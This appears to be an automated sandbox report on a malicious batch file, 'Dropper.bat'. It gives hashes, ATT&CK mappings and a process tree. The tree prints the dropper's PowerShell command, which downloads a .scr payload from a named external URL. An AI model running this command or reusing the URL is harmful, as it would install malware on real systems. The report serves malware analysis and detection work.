6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

Resubmissions

03/10/2024, 18:00

241003-wlb4xasdnd 10

04/09/2024, 12:18

240904-pgn5ca1drd 10

Analysis

max time kernel
1316s
max time network
1141s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03/10/2024, 18:00

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General

Target

Dropper.bat
Size

470B
MD5

8073ff57f855d5cd51346f011933d9fb
SHA1

d24fc282fb660945b87e1c41860a031f6e7ec9f6
SHA256

6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
SHA512

9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://master-repogen.vercel.app/file/server.scr

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3964	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3964	powershell.exe
3964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3964	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1176 wrote to memory of 3964	1176	cmd.exe	85
PID 1176 wrote to memory of 3964	1176	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nduhxrky.ccm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3964-0-0x00007FFA7AB33000-0x00007FFA7AB35000-memory.dmp

Filesize
8KB

Download
memory/3964-1-0x000001D77B360000-0x000001D77B382000-memory.dmp

Filesize
136KB

Download
memory/3964-11-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3964-12-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3964-13-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3964-14-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3964-17-0x00007FFA7AB30000-0x00007FFA7B5F1000-memory.dmp

Filesize
10.8MB

Download